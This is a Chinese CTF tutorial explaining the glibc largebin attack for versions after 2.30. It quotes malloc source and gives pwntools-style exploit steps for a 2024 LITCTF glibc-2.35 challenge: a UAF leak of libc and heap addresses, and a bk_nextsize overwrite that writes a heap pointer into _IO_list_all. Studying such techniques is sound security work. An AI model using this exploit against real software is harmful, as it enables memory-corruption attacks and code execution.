largebin attack分为2.30前和2.30后两种情况。这里记录2.30后的攻击方法,2.30前的可以看[hollk师傅](https://blog.csdn.net/qq_41202237/article/details/112825556)的讲解。

前置知识

首先每个Large Bin中存在63个bin链表,在binmap中的index是64-126。每个bin中存的是一定范围内大小的chunk,而不是像tcachebin那样的一个bin一个大小。举个栗子,index64的bin中存的是0x400到0x430的chunk。每个bin能存取的范围一般是0x30。

Large Bin既不是FIFO也不是LIFO,它的排序是根据chunk大小来进行的,并且结构更加复杂。large chunk被释放的时候不仅会被写入fd和bk,还有fd_nextsize和bk_nextsize两个指针来维护bin的结构。fd和bk用来链接bin中相同大小的chunk,而nextsize则用来链接bin中不同大小的chunk。更具体地说,fd指向比自己晚释放的相同大小的chunk,bk则指向比自己晚释放的相同大小的chunk,fd_nextsize用来指向比自己大的chunk,bk_nextsize则指向比自己小的chunk。在相同大小的chunkbin中只有首堆块会有nextsize的指针。bin中首尾chunk的nextsize会指向另一端,首堆块的fd会指向对应index的bin头地址,尾堆块的bk会指向对应index的bin头地址。

这里引用Sr0cky师傅的一张图,可以更直观地看清楚largebin的结构:

largebin链表示意图

源码

我们只关注释放chunk时候的代码,因为主要检查在这个地方,主要利用的地方也在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
       ...
/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
...

如果chunk在smallbin范围,则插入到smallbin中,如果不是,则进行下一步,进行插入largebin的处理。此时bck是对应index的bin头。victim指的是当前正在被释放的chunk。

第17行的if与第60行的else匹配,检查如果该bin为空,则直接将victim的nextsize都指向自身,fd和bk指向bin头。如果不为空则进入下一个检查。

第42行检查victim的size是否小于当前bin中最小的那个chunk,则直接将victim插入到bin的头部。在这里有个很重要的语句(第31行),也是我们需要利用到的语句。我们来逐行解释一下这个语句块。

1
2
3
4
5
6
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

为避免歧义,首先说明,在这些语句执行完之前我们不认为victim已经进入了bin。首先将fwd赋值为bin头,然后bck赋值为当前bin中最小那个chunk。紧接着将victim的fd_nextsize赋值为bin中的尾堆块,然后将bk_nextsize赋值为当前bin中最小的chunk。然后重点来了!当前bin中的尾堆块的bk_nextsize指向victim,当前最小chunk的fd_nextsize也指向victim。现在我们才视为victim完全进入了largebin当中。

可以注意到在这个过程,有两个指针被赋值为victim的地址。如果我们在释放victim之前有机会修改当前bin中最小chunk的bk_nextsizetarget,那也就意味着我们可以往target+0x20的位置写入victim的地址。这个结果就是我们所说的largebin attack的结果。

2.30前后的区别在于第50行和第57行的两个检查,多了两个检查所以就不能使用传统的largebin attack方法了。

攻击手法

其实可以看how2heap的PoC学习,这里我直接结合2024litctf的2.35那题来讲。

根据源码分析,我们如果想要执行到那条重要语句,我们需要先后释放掉一大一小两个largechunk。在每个largechunk下面要多一个chunk用来防止largechunk被释放后被向下合并,大小任意。

1
2
3
4
add(0, 0x510)
add(1, 0x30)
add(2, 0x520)
add(3, 0x30)

接着我们释放chunk2。这时候它先进入到unsortedbin中,我们申请一个比chunk2还要大的chunk,因为chunk2不够被分配,所以它会被整理到largebin当中。这时候他就同时拥有了libc地址和heap地址。

因为有UAF,所以可以直接从chunk2泄露出libc地址和heap。因为show函数使用的是printf语句,所以要注意\x00截断的问题:保护chunk如果是0x20,那么chunk2的地址最后一个字节刚好是\x00,那就没法泄露了;fd和bk是指向main_arena+0x490处的libc地址,同样有\x00字节,所以在泄露堆地址的时候要先随便填点什么00之外的东西在fd和bk位置。

1
2
3
4
5
6
7
8
9
10
11
12
delete(2)
add(4, 0x530)
show(2)
large = u64(r.recv(6).ljust(8, b'\x00')) # 其实是main_arena+0x490
libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_'] # 也可以直接看vmmap动调出偏移
log.success('libcbase: ' + hex(libcbase))

edit(2, b'A' * 0x10)
show(2)
r.recv(0x10)
heap = u64(r.recv(6).ljust(8, b'\x00'))
log.success('heap: ' + hex(heap))

然后我们释放chunk0进入到unsrotedbin中,然后修改chunk2bk_nextsize_IO_list_all-0x20(因为后续会打house of apple2)。接着我们申请一个大于chunk2的chunk,把chunk0放进largebin中。注意改chunk2的时候除了bk_nextsize其他东西尽量保持原状,因为会检查其他三项的合法性。

1
2
3
4
5
delete(0)

edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))

add(5, 0x550)

根据源码分析,我们可以知道_IO_list_all就会被写入chunk0的地址。至此,largebin attack就算完成了。

我们断点检查一下:

2.35攻击结果

可以看到_IO_list_all已经被写入chunk0的地址了。后面就是house of apple2了,这里不展开赘述。

⬆︎TOP